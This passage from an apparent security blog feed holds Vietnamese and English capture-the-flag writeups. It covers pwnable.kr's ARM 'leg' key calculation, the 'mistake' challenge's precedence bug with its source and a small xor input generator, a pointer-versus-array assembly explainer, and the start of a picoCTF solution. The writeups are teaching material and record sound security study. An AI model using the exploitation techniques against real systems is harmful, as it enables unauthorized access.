class="number">0x00008d50</span> &lt;+<span class="number">20</span>&gt;:ldrr0, [pc, #<span class="number">104</span>]; <span class="number">0x8dc0</span> &lt;main+<span class="number">132</span>&gt;</span><br><span class="line">   <span class="number">0x00008d54</span> &lt;+<span class="number">24</span>&gt;:bl<span class="number">0xfb6c</span> &lt;<span class="built_in">printf</span>&gt;</span><br><span class="line">   <span class="number">0x00008d58</span> &lt;+<span class="number">28</span>&gt;:subr3, r11, #<span class="number">16</span></span><br><span class="line">   <span class="number">0x00008d5c</span> &lt;+<span class="number">32</span>&gt;:ldrr0, [pc, #<span class="number">96</span>]; <span class="number">0x8dc4</span> &lt;main+<span class="number">136</span>&gt;</span><br><span class="line">   <span class="number">0x00008d60</span> &lt;+<span class="number">36</span>&gt;:movr1, r3</span><br><span class="line">   <span class="number">0x00008d64</span> &lt;+<span class="number">40</span>&gt;:bl<span class="number">0xfbd8</span> &lt;__isoc99_scanf&gt;</span><br><span class="line">   <span class="number">0x00008d68</span> &lt;+<span class="number">44</span>&gt;:bl<span class="number">0x8cd4</span> &lt;key1&gt;</span><br><span class="line">   <span class="number">0x00008d6c</span> &lt;+<span class="number">48</span>&gt;:movr4, r0</span><br><span class="line">   <span class="number">0x00008d70</span> &lt;+<span class="number">52</span>&gt;:bl<span class="number">0x8cf0</span> &lt;key2&gt;</span><br><span class="line">   <span class="number">0x00008d74</span> &lt;+<span class="number">56</span>&gt;:movr3, r0</span><br><span class="line">   <span class="number">0x00008d78</span> &lt;+<span class="number">60</span>&gt;:addr4, r4, r3</span><br><span class="line">   <span class="number">0x00008d7c</span> &lt;+<span class="number">64</span>&gt;:bl<span class="number">0x8d20</span> &lt;key3&gt;</span><br><span class="line">   <span class="number">0x00008d80</span> &lt;+<span class="number">68</span>&gt;:movr3, r0</span><br><span class="line">   <span class="number">0x00008d84</span> &lt;+<span class="number">72</span>&gt;:addr2, r4, r3</span><br><span class="line">   <span class="number">0x00008d88</span> &lt;+<span class="number">76</span>&gt;:ldrr3, [r11, #<span class="number">-16</span>]</span><br><span class="line">   <span class="number">0x00008d8c</span> &lt;+<span class="number">80</span>&gt;:cmpr2, r3</span><br><span class="line">   <span class="number">0x00008d90</span> &lt;+<span class="number">84</span>&gt;:bne<span class="number">0x8da8</span> &lt;main+<span class="number">108</span>&gt;</span><br><span class="line">   <span class="number">0x00008d94</span> &lt;+<span class="number">88</span>&gt;:ldrr0, [pc, #<span class="number">44</span>]; <span class="number">0x8dc8</span> &lt;main+<span class="number">140</span>&gt;</span><br><span class="line">   <span class="number">0x00008d98</span> &lt;+<span class="number">92</span>&gt;:bl<span class="number">0x1050c</span> &lt;<span class="built_in">puts</span>&gt;</span><br><span class="line">   <span class="number">0x00008d9c</span> &lt;+<span class="number">96</span>&gt;:ldrr0, [pc, #<span class="number">40</span>]; <span class="number">0x8dcc</span> &lt;main+<span class="number">144</span>&gt;</span><br><span class="line">   <span class="number">0x00008da0</span> &lt;+<span class="number">100</span>&gt;:bl<span class="number">0xf89c</span> &lt;system&gt;</span><br><span class="line">   <span class="number">0x00008da4</span> &lt;+<span class="number">104</span>&gt;:b<span class="number">0x8db0</span> &lt;main+<span class="number">116</span>&gt;</span><br><span class="line">   <span class="number">0x00008da8</span> &lt;+<span class="number">108</span>&gt;:ldrr0, [pc, #<span class="number">32</span>]; <span class="number">0x8dd0</span> &lt;main+<span class="number">148</span>&gt;</span><br><span class="line">   <span class="number">0x00008dac</span> &lt;+<span class="number">112</span>&gt;:bl<span class="number">0x1050c</span> &lt;<span class="built_in">puts</span>&gt;</span><br><span class="line">   <span class="number">0x00008db0</span> &lt;+<span class="number">116</span>&gt;:movr3, #<span class="number">0</span></span><br><span class="line">   <span class="number">0x00008db4</span> &lt;+<span class="number">120</span>&gt;:movr0, r3</span><br><span class="line">   <span class="number">0x00008db8</span> &lt;+<span class="number">124</span>&gt;:subsp, r11, #<span class="number">8</span></span><br><span class="line">   <span class="number">0x00008dbc</span> &lt;+<span class="number">128</span>&gt;:pop&#123;r4, r11, pc&#125;</span><br><span class="line">   <span class="number">0x00008dc0</span> &lt;+<span class="number">132</span>&gt;:andeqr10, r6, r12, lsl #<span class="number">9</span></span><br><span class="line">   <span class="number">0x00008dc4</span> &lt;+<span class="number">136</span>&gt;:andeqr10, r6, r12, lsr #<span class="number">9</span></span><br><span class="line">   <span class="number">0x00008dc8</span> &lt;+<span class="number">140</span>&gt;:; &lt;UNDEFINED&gt; instruction: <span class="number">0x0006a4b0</span></span><br><span class="line">   <span class="number">0x00008dcc</span> &lt;+<span class="number">144</span>&gt;:; &lt;UNDEFINED&gt; instruction: <span class="number">0x0006a4bc</span></span><br><span class="line">   <span class="number">0x00008dd0</span> &lt;+<span class="number">148</span>&gt;:andeqr10, r6, r4, asr #<span class="number">9</span></span><br><span class="line">End of assembler dump.</span><br><span class="line">(gdb) disass key1</span><br><span class="line">Dump of assembler code <span class="keyword">for</span> function key1:</span><br><span class="line">   <span class="number">0x00008cd4</span> &lt;+<span class="number">0</span>&gt;:push&#123;r11&#125;; (str r11, [sp, #<span class="number">-4</span>]!)</span><br><span class="line">   <span class="number">0x00008cd8</span> &lt;+<span class="number">4</span>&gt;:addr11, sp, #<span class="number">0</span></span><br><span class="line">   <span class="number">0x00008cdc</span> &lt;+<span class="number">8</span>&gt;:movr3, pc</span><br><span class="line">   <span class="number">0x00008ce0</span> &lt;+<span class="number">12</span>&gt;:movr0, r3</span><br><span class="line">   <span class="number">0x00008ce4</span> &lt;+<span class="number">16</span>&gt;:subsp, r11, #<span class="number">0</span></span><br><span class="line">   <span class="number">0x00008ce8</span> &lt;+<span class="number">20</span>&gt;:pop&#123;r11&#125;; (ldr r11, [sp], #<span class="number">4</span>)</span><br><span class="line">   <span class="number">0x00008cec</span> &lt;+<span class="number">24</span>&gt;:bxlr</span><br><span class="line">End of assembler dump.</span><br><span class="line">(gdb) disass key2</span><br><span class="line">Dump of assembler code <span class="keyword">for</span> function key2:</span><br><span class="line">   <span class="number">0x00008cf0</span> &lt;+<span class="number">0</span>&gt;:push&#123;r11&#125;; (str r11, [sp, #<span class="number">-4</span>]!)</span><br><span class="line">   <span class="number">0x00008cf4</span> &lt;+<span class="number">4</span>&gt;:addr11, sp, #<span class="number">0</span></span><br><span class="line">   <span class="number">0x00008cf8</span> &lt;+<span class="number">8</span>&gt;:push&#123;r6&#125;; (str r6, [sp, #<span class="number">-4</span>]!)</span><br><span class="line">   <span class="number">0x00008cfc</span> &lt;+<span class="number">12</span>&gt;:addr6, pc, #<span class="number">1</span></span><br><span class="line">   <span class="number">0x00008d00</span> &lt;+<span class="number">16</span>&gt;:bxr6</span><br><span class="line">   <span class="number">0x00008d04</span> &lt;+<span class="number">20</span>&gt;:movr3, pc</span><br><span class="line">   <span class="number">0x00008d06</span> &lt;+<span class="number">22</span>&gt;:addsr3, #<span class="number">4</span></span><br><span class="line">   <span class="number">0x00008d08</span> &lt;+<span class="number">24</span>&gt;:push&#123;r3&#125;</span><br><span class="line">   <span class="number">0x00008d0a</span> &lt;+<span class="number">26</span>&gt;:pop&#123;pc&#125;</span><br><span class="line">   <span class="number">0x00008d0c</span> &lt;+<span class="number">28</span>&gt;:pop&#123;r6&#125;; (ldr r6, [sp], #<span class="number">4</span>)</span><br><span class="line">   <span class="number">0x00008d10</span> &lt;+<span class="number">32</span>&gt;:movr0, r3</span><br><span class="line">   <span class="number">0x00008d14</span> &lt;+<span class="number">36</span>&gt;:subsp, r11, #<span class="number">0</span></span><br><span class="line">   <span class="number">0x00008d18</span> &lt;+<span class="number">40</span>&gt;:pop&#123;r11&#125;; (ldr r11, [sp], #<span class="number">4</span>)</span><br><span class="line">   <span class="number">0x00008d1c</span> &lt;+<span class="number">44</span>&gt;:bxlr</span><br><span class="line">End of assembler dump.</span><br><span class="line">(gdb) disass key3</span><br><span class="line">Dump of assembler code <span class="keyword">for</span> function key3:</span><br><span class="line">   <span class="number">0x00008d20</span> &lt;+<span class="number">0</span>&gt;:push&#123;r11&#125;; (str r11, [sp, #<span class="number">-4</span>]!)</span><br><span class="line">   <span class="number">0x00008d24</span> &lt;+<span class="number">4</span>&gt;:addr11, sp, #<span class="number">0</span></span><br><span class="line">   <span class="number">0x00008d28</span> &lt;+<span class="number">8</span>&gt;:movr3, lr</span><br><span class="line">   <span class="number">0x00008d2c</span> &lt;+<span class="number">12</span>&gt;:movr0, r3</span><br><span class="line">   <span class="number">0x00008d30</span> &lt;+<span class="number">16</span>&gt;:subsp, r11, #<span class="number">0</span></span><br><span class="line">   <span class="number">0x00008d34</span> &lt;+<span class="number">20</span>&gt;:pop&#123;r11&#125;; (ldr r11, [sp], #<span class="number">4</span>)</span><br><span class="line">   <span class="number">0x00008d38</span> &lt;+<span class="number">24</span>&gt;:bxlr</span><br><span class="line">End of assembler dump.</span><br><span class="line">(gdb) </span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="Solution-7"><a href="#Solution-7" class="headerlink" title="Solution"></a>Solution</h2><p>Chương trình gốc hiểu đơn giản là lấy 3 giá trị của 3 hàm <code>key</code> tính toán rồi so với input của mình. Mục tiêu là tính 3 giá trị đó. Không nhận được binary mà là 1 file asm và với địa chỉ như thế mình nghĩ chương trình là địa chỉ tĩnh. Nên mọi thứ có thể tính được dựa vào file asm. </p><p>Với các hàm <code>key</code> thì mình thấy nó không được gọi lệnh trả về nhưng vẫn thu được giá trị. Mình nôm na nghĩ tới việc giá trị sẽ được gán vào thanh ghi nào đó tương tự như <code>EAX</code> → File asm sẽ có ích cho việc này. Thì qua tìm hiểu mình biết được rằng giá trị trả về sẽ được gán vào thanh ghi <code>r0</code>, vậy thì với mỗi hàm key mình sẽ follow giá trị <code>r0</code> là được. </p><p><code>key1()</code> : <code>pc</code> là thanh ghi trỏ tới địa chỉ của câu lệnh hiện tại + 8, khi chạy tới địa chỉ <code>0x00008cdc</code> thì thanh ghi <code>pc= 0x00008cdc+8 = 0x8ce4</code> rồi gán cho <code>r3</code> và rồi gán cho <code>r0</code> </p><p><code>→ r0 = 0x8ce4</code> </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0x00008cdc</span> &lt;+<span class="number">8</span>&gt;:movr3, pc</span><br><span class="line"><span class="number">0x00008ce0</span> &lt;+<span class="number">12</span>&gt;:movr0, r3</span><br></pre></td></tr></table></figure><p><code>key2()</code> : với 2 dòng đầu tiên có chức năng đổi mode hiện tại là ARM sang THUMB, thì <code>pc</code> sẽ bước ngắn hơn, giá trị pc sẽ là +4 thay vì +8. Thêm lệnh adds là +4 cho r3 trước khi gán cho r0</p><p><code>→ pc = 0x00008d04+4 = 0x8d08 , r3 = 0x8d08+4 = 0x8d0c, r0 = 0x8d0c</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0x00008cfc</span> &lt;+<span class="number">12</span>&gt;:addr6, pc, #<span class="number">1</span></span><br><span class="line"><span class="number">0x00008d00</span> &lt;+<span class="number">16</span>&gt;:bxr6</span><br><span class="line"><span class="number">0x00008d04</span> &lt;+<span class="number">20</span>&gt;:movr3, pc</span><br><span class="line"><span class="number">0x00008d06</span> &lt;+<span class="number">22</span>&gt;:addsr3, #<span class="number">4</span></span><br><span class="line"><span class="number">0x00008d08</span> &lt;+<span class="number">24</span>&gt;:push&#123;r3&#125;</span><br><span class="line"><span class="number">0x00008d0a</span> &lt;+<span class="number">26</span>&gt;:pop&#123;pc&#125;</span><br><span class="line"><span class="number">0x00008d0c</span> &lt;+<span class="number">28</span>&gt;:pop&#123;r6&#125;; (ldr r6, [sp], #<span class="number">4</span>)</span><br><span class="line"><span class="number">0x00008d10</span> &lt;+<span class="number">32</span>&gt;:movr0, r3</span><br></pre></td></tr></table></figure><p><code>key3()</code> : lr là thanh ghi trỏ tới địa chỉ trả về (giống như 1 thanh ghi mang giá trị RIP). Thì sau khi hàm <code>key3</code> thực thi xong, nó sẽ tiếp tục trỏ tới 1 lệnh nào đó trong main thì <code>lr</code> sẽ mang giá trị đó. </p><p><code>→ r0 = 0x00008d80</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0x00008d28</span> &lt;+<span class="number">8</span>&gt;:movr3, lr</span><br><span class="line"><span class="number">0x00008d2c</span> &lt;+<span class="number">12</span>&gt;:movr0, r3</span><br></pre></td></tr></table></figure><p>Tổng kết giá trị ta có : <code>0x8ce4 + 0x8d0c + 0x00008d80 = 0x1a770</code></p><h1 id="Mistake"><a href="#Mistake" class="headerlink" title="Mistake"></a>Mistake</h1><h2 id="Description-7"><a href="#Description-7" class="headerlink" title="Description"></a>Description</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">We all make mistakes, let<span class="string">&#x27;s move on.</span></span><br><span class="line"><span class="string">(don&#x27;</span>t take this too seriously, no fancy hacking skill is required at all)</span><br><span class="line">This task is based on real event</span><br><span class="line"></span><br><span class="line">ssh mistake@pwnable.kr -p2222 (pw:guest)</span><br></pre></td></tr></table></figure><h2 id="Source-7"><a href="#Source-7" class="headerlink" title="Source"></a>Source</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> PW_LEN 10</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> XORKEY 1</span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">xor</span><span class="params">(<span class="type">char</span>* s, <span class="type">int</span> len)</span>&#123;</span><br><span class="line"><span class="type">int</span> i;</span><br><span class="line"><span class="keyword">for</span>(i=<span class="number">0</span>; i&lt;len; i++)&#123;</span><br><span class="line">s[i] ^= XORKEY;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[])</span>&#123;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> fd;</span><br><span class="line"><span class="keyword">if</span>(fd=open(<span class="string">&quot;/home/mistake/password&quot;</span>,O_RDONLY,<span class="number">0400</span>) &lt; <span class="number">0</span>)&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;can&#x27;t open password %d\n&quot;</span>, fd);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;do not bruteforce...\n&quot;</span>);</span><br><span class="line">sleep(time(<span class="number">0</span>)%<span class="number">20</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">char</span> pw_buf[PW_LEN+<span class="number">1</span>];</span><br><span class="line"><span class="type">int</span> len;</span><br><span class="line"><span class="keyword">if</span>(!(len=read(fd,pw_buf,PW_LEN) &gt; <span class="number">0</span>))&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;read error\n&quot;</span>);</span><br><span class="line">close(fd);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">char</span> pw_buf2[PW_LEN+<span class="number">1</span>];</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;input password : &quot;</span>);</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">&quot;%10s&quot;</span>, pw_buf2);</span><br><span class="line"></span><br><span class="line"><span class="comment">// xor your input</span></span><br><span class="line">xor(pw_buf2, <span class="number">10</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strncmp</span>(pw_buf, pw_buf2, PW_LEN))&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Password OK\n&quot;</span>);</span><br><span class="line">setregid(getegid(), getegid());</span><br><span class="line">system(<span class="string">&quot;/bin/cat flag\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Wrong Password\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">close(fd);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="Solution-8"><a href="#Solution-8" class="headerlink" title="Solution"></a>Solution</h2><p>Lỗi là ở đây :<br><code>if(fd=open(&quot;/home/mistake/password&quot;,O_RDONLY,0400) &lt; 0)</code></p><p>Thứ tự thực thi đã bị sai khi nó gọi <code>open</code> xong thì tới phép so sánh <code>&lt;</code> rồi mới tới gán giá trị cho <code>fd</code>.</p><p>thành ra khi mở thành công thì sẽ trả về giá trị file descriptor của file vừa mở, đem đi so sánh với 0, giả sử file descriptor ở đây là 3 thì 3 &lt; 0 là sai → trả về 0 và gán 0 cho biến <code>fd</code>, biến câu lệnh sau thành lệnh đọc input từ stdin :</p><p><code>if(!(len=read(fd,pw_buf,PW_LEN) &gt; 0))</code></p><p>Rồi thì với logic là <code>pw_buf</code> là biến do mình kiểm soát thay vì trong file password, đem so sánh với biến <code>pw_buf2</code> được qua phép xor của mình thì cả 2 giá trị đều do mình kiểm soát. Thế là xong</p><h2 id="Payload-5"><a href="#Payload-5" class="headerlink" title="Payload"></a>Payload</h2><p>ở đây mình chạy lại output của hàm xor với 1 chuỗi dài 10 kí tự bất kì để thu output. Khi đó chạy chương trình và nhập cả 2 giá trị vào thoi :&gt; </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> XORKEY 1</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">xor</span><span class="params">(<span class="type">char</span> *s, <span class="type">int</span> len)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> i;</span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; len; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        s[i] ^= XORKEY;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">char</span> d[] = <span class="string">&quot;1234567890&quot;</span>;</span><br><span class="line">    <span class="type">char</span> *c = d;</span><br><span class="line">    xor(d, <span class="built_in">strlen</span>(d));</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%s&quot;</span>, d); <span class="comment">//0325476981</span></span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Ôk hết rồi, hẹn các bạn phần sau :&gt; Phần sau mình sẽ clear toàn bộ Todder :&gt;</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;Đây là series try hard giải các challenge trên trang web &lt;a href=&quot;http://pwnable.kr/&quot;&gt;pwnable.kr&lt;/a&gt;. Với mỗi chall mình sẽ phân tích hướ</summary>
      
    
    
    
    <category term="Writeup" scheme="https://vuk3r.github.io/categories/Writeup/"/>
    
    
    <category term="PWN" scheme="https://vuk3r.github.io/tags/PWN/"/>
    
    <category term="Writeup" scheme="https://vuk3r.github.io/tags/Writeup/"/>
    
  </entry>
  
  <entry>
    <title>[Dummy] - How different between Pointer and Array from Assembly Perspective ? </title>
    <link href="https://vuk3r.github.io/2025/08/16/How_different_between%20Pointer_and_Array_from_Assembly_Perspective/"/>
    <id>https://vuk3r.github.io/2025/08/16/How_different_between%20Pointer_and_Array_from_Assembly_Perspective/</id>
    <published>2025-08-16T17:14:35.000Z</published>
    <updated>2026-04-15T03:39:17.355Z</updated>
    
    <content type="html"><![CDATA[<p>Everyone always told that “Pointer could be an Array” and “Array can be considered as a Ponter” so why it need to be divided into two concepts ?</p><p>I create a simple program for testing and debugging.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">#include &lt;stdio.h&gt;</span><br><span class="line"></span><br><span class="line">int main()</span><br><span class="line">&#123;</span><br><span class="line">    int arr[32] = &#123;0x8, 0x10, 0x18, 0x20&#125;;</span><br><span class="line">    int *ptr = arr;</span><br><span class="line">    printf(&quot;aaaa&quot;);</span><br><span class="line">    printf(&quot;a[1]: %d\n&quot;, arr[1]);</span><br><span class="line">    printf(&quot;*(arr + 1): %d\n&quot;, *(arr + 1));</span><br><span class="line"></span><br><span class="line">    printf(&quot;*(ptr+1): %d\n&quot;, *(ptr+1));</span><br><span class="line">    printf(&quot;ptr[1]: %d\n&quot;, ptr[1]);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line">// gcc -o ./test ./test.c</span><br></pre></td></tr></table></figure><p>Because of its properties, Array can access its element like Pointer, also in reverse with Pointer. It is prove that Pointer can be an Array and Array can be a Pointer. </p><p>But the difference is how Asm see it ?</p><h3 id="Array"><a href="#Array" class="headerlink" title="Array"></a>Array</h3><p>I use Pwndbg for debugging. You can see that how it store my <code>arr</code> and <code>ptr</code> variables in stack :</p><p><img src="/img/post/dummy/different-between-Pointer-and-Array/1.png" alt="image.png"></p><p>with the code :</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">int arr[32] = &#123;0x8, 0x10, 0x18, 0x20&#125;;</span><br></pre></td></tr></table></figure><p>Whenever declare an Array, it store the same way with normal variables, it just combine all the variables with the same type in sequence for easily access. So it will store directly in the stack.</p><p><img src="/img/post/dummy/different-between-Pointer-and-Array/2.png" alt="image.png"></p><p>You can see this is how <code>*(arr + 1)</code> work, Asm call directly to the address of <code>arr+1</code> and assign value for <code>eax</code>, then <code>esi</code>. The computer base on the <code>arr+0</code> address and calculate to <code>arr+1</code> address for accessing data, just like a Pointer :&gt;</p><p><img src="/img/post/dummy/different-between-Pointer-and-Array/3.png" alt="image.png"></p><p>And you can see it the same way when calling in normal way <code>a[1]</code>  </p><p><img src="/img/post/dummy/different-between-Pointer-and-Array/4.png" alt="image.png"></p><h3 id="Pointer"><a href="#Pointer" class="headerlink" title="Pointer"></a>Pointer</h3><p><code>ptr</code> stored in <code>rbp-8</code>, storing <code>arr+0</code> address for accessing data.</p><p><img src="/img/post/dummy/different-between-Pointer-and-Array/5.png" alt="image.png"></p><p>The code is plus <code>1</code> to ptr for next address variable:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;*(ptr+1): %d\n&quot;</span>, *(ptr+1));</span><br></pre></td></tr></table></figure><p>But the Pointer is the opposite with Array, because of knowing entry address of the array, array can access it easily, but the Pointer need to do some calculate for access is adding <code>0x4</code> ( size of <code>ptr</code>) like <code>ptr+1</code> into address value which <code>ptr</code> holding. </p><p><img src="/img/post/dummy/different-between-Pointer-and-Array/6.png" alt="image.png"></p><p>and then, <code>ptr</code> can access elements just like array. So you can use <code>ptr</code> for accessing data like array :</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;ptr[1]: %d\n&quot;</span>, ptr[1]);</span><br></pre></td></tr></table></figure><p>Just like that, easily distinguish between <strong>Pointer</strong> and <strong>Array</strong>. May be it the same, may be it not..</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;Everyone always told that “Pointer could be an Array” and “Array can be considered as a Ponter” so why it need to be divided into two con</summary>
      
    
    
    
    <category term="Dummy" scheme="https://vuk3r.github.io/categories/Dummy/"/>
    
    
    <category term="Dummy" scheme="https://vuk3r.github.io/tags/Dummy/"/>
    
  </entry>
  
  <entry>
    <title>[Writeup] - Solving Pwn on PicoCTF</title>
    <link href="https://vuk3r.github.io/2025/08/16/picoCTF_medium(1)/"/>
    <id>https://vuk3r.github.io/2025/08/16/picoCTF_medium(1)/</id>
    <published>2025-08-16T17:14:35.000Z</published>
    <updated>2026-04-15T03:39:17.355Z</updated>
    
    <content type="html"><![CDATA[<p>Hi guys, this is series clear pwn from medium up to highest difficulty. I write these writeups mainly about the things I’ve learned, so some parts might be detailed while others are brief. Even so, they may still be useful to you if you read them. If you have any questions, free to ask me, Im free to share :&gt;</p><h1 id="PIE-TIME-2"><a href="#PIE-TIME-2" class="headerlink" title="PIE TIME 2"></a>PIE TIME 2</h1><h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Author: Darkraicg492</span><br><span class="line"></span><br><span class="line">Description</span><br><span class="line">Can you <span class="keyword">try</span> to get the flag? I<span class="string">&#x27;m not revealing anything anymore!!</span></span><br><span class="line"><span class="string">Additional details will be available after launching your challenge instance.</span></span><br></pre></td></tr></table></figure><h2 id="Source"><a href="#Source" class="headerlink" title="Source"></a>Source</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;signal.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">segfault_handler</span><span class="params">()</span> &#123;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Segfault Occurred, incorrect address.\n&quot;</span>);</span><br><span class="line">  <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span 